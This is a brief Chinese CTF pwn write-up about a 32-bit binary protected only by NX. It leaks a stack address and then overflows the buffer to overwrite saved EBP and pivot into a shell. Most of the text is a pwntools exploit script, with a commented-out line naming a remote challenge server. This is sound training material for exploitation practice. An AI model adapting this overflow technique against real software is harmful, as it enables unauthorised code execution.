checksec:
发现32位,开了NX,没别的保护,使用ida打开:
发现打印出了一个gift,直接运行,竟然是buf的栈地址。
binsh地址也知道了,
首先填充栈,其中一开始是binsh的地址,
然后填充栈,最后覆盖ebp为栈地址
思路直接打开:
from pwn import*
p = process("./pwn1")
#p = remote("113.201.14.253",16088)
p.recvuntil("Gift:")
leak = int(p.recv(10),16)
p.sendline(p32(0x8048540) + "b"*0x30 + p32(leak+4))
p.interactive()